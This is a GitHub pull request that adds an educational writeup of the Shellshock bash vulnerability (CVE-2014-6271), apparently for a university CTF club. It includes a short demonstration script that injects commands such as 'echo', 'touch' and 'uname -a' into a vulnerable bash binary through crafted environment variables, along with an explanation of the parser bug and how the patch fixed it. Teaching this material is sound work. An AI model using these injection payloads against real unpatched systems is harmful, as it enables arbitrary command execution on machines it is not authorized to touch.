-
Notifications
You must be signed in to change notification settings - Fork 14
Writeup for Shellshock #74
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Open
ssung099
wants to merge
4
commits into
CUCTF:main
Choose a base branch
from
ssung099:writeup-4
base: main
Could not load branches
Branch not found: {{ refName }}
Loading
Could not load tags
Nothing to show
Loading
Are you sure you want to change the base?
Some commits from the old base branch may be removed from the timeline,
and old review comments may become outdated.
Open
Changes from all commits
Commits
File filter
Filter by extension
Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
There are no files selected for viewing
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,10 @@ | ||
| #!/bin/bash | ||
| # Shellshock Exploitation Script | ||
|
|
||
| BASH_BIN=${1:-/bin/bash} # Uses the vulnerable-bash binary passed in. Otherwise, uses the default bash. | ||
|
|
||
| env x='() { :; }; echo VULNERABLE' $BASH_BIN -c "echo Hello" | ||
|
|
||
| env x2='() { :; }; touch tmp' $BASH_BIN -c 'echo Test' | ||
|
|
||
| env x3='() { :; }; uname -a' $BASH_BIN -c ':' |
Binary file not shown.
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
| Original file line number | Diff line number | Diff line change |
|---|---|---|
| @@ -0,0 +1,61 @@ | ||
| # Shellshock (CVE-2014–6271) | ||
|
|
||
| ## Summary | ||
| Shellshock, also known as Backdoor, is a vulnerability in the GNU Bash shell that allows attackers to execute arbitrary commands by crafting malicious environment variables. The vulnerability arises from incorrect parsing of function definitions, which allows additional commands appended after the function body to be interpreted and executed as well. | ||
|
|
||
| Artifacts: | ||
| - `script.sh`: the bash script that executes commands through maliciously crafted environment variables. | ||
| - `vulnerable_bash`: the vulnerable version (4.1) of bash compiled (in x86-64) from source before the patch. Used with `script.sh` to demonstrate the vulnerability. | ||
|
|
||
| ## Context | ||
| Bash supports exporting functions through environment variables that allows a Bash process to easily share command scripts with child bash processes. | ||
|
|
||
| When a new Bash process starts, it scans environment variables matching the function defintion pattern `() { ... }` and imports the content of curly braces. | ||
|
|
||
| ## Vulnerability | ||
| In Bash versions up to 4.3, the main vulnerability was due to improper parsing of function definitions leading to unintended command execution. | ||
|
|
||
| Instead of stopping at the closing curly brace of a function definition, the `parse_and_execute` function continued parsing the entire string and treated trailing input as additional commands to execute as well. | ||
|
|
||
| ``` | ||
| int parse_and_execute(...) { | ||
| ... | ||
| // Continues parsing until end of input string | ||
| while (*(bash_input.location.string)) { | ||
| ... | ||
| // Executes each parsed command | ||
| last_result = execute_command_internal(command, 0, NO_PIPE, NO_PIPE, bitmap); | ||
| ... | ||
| } | ||
| ... | ||
| } | ||
| ``` | ||
| This would result in arbitrary command execution during shell initialization, which would execute before any other user code runs. | ||
|
|
||
| ## Exploitation | ||
| The vulnerability can be exploited by appending commands to the end of the function definition using `;` as a command separator. | ||
|
|
||
| Consider the following environment variable `env x1='() { :; }; echo VULNERABLE' $BASH_BIN -c 'echo Hello'`. The new Bash process would recognize this as a function definition since it contains the format `() { ... }` and try to parse it. | ||
|
|
||
| This would add the contents within the braces as a function. Since there are still characters left in the string, it would continue to parse and execute `echo VULNERABLE` in the new Bash process that `$BASH_BIN -c 'echo Hello'` spawned. | ||
|
|
||
| Upon initialization, the new Bash shell will first print "VULNERABLE" and then process the command `echo Hello`. | ||
| ``` | ||
| $ env x1='() { :; }; echo VULNERABLE' ./vulnerable-bash -c 'echo Hello' | ||
| VULNERABLE | ||
| Hello | ||
| ``` | ||
|
|
||
| **Note**: Certain malformed environment variables caused Bash to crash after or instead of executing the injected command. This could trigger additional parser bugs, such as out-of-bounds access, that could lead to segmentation faults. | ||
|
|
||
| ``` | ||
| $ env x2='() { :; }; touch tmp' ./vulnerable-bash -c 'echo Test' | ||
| Segmentation fault (core dumped) | ||
| ``` | ||
|
|
||
| ## Remediation | ||
| The remediation for this vulnerability was to properly handle function export parsing and command execution. | ||
|
|
||
| Patched versions of Bash introduced flags `SEVAL_FUNCDEF` and `SEVAL_ONECMD` were added to resolve these vulnerabilities. | ||
| - `SEVAL_FUNCDEF` ensured that the input only took the function definition form `() { ... }` and rejected other input formats. | ||
| - `SEVAL_ONECMD` ensured that only one command was processed, eliminating the possibility of chain commands with `;`. | ||
Add this suggestion to a batch that can be applied as a single commit.
This suggestion is invalid because no changes were made to the code.
Suggestions cannot be applied while the pull request is closed.
Suggestions cannot be applied while viewing a subset of changes.
Only one suggestion per line can be applied in a batch.
Add this suggestion to a batch that can be applied as a single commit.
Applying suggestions on deleted lines is not supported.
You must change the existing code in this line in order to create a valid suggestion.
Outdated suggestions cannot be applied.
This suggestion has been applied or marked resolved.
Suggestions cannot be applied from pending reviews.
Suggestions cannot be applied on multi-line comments.
Suggestions cannot be applied while the pull request is queued to merge.
Suggestion cannot be applied right now. Please check back later.
There was a problem hiding this comment.
Choose a reason for hiding this comment
The reason will be displayed to describe this comment to others. Learn more.
I think an example in the writeup here would be great!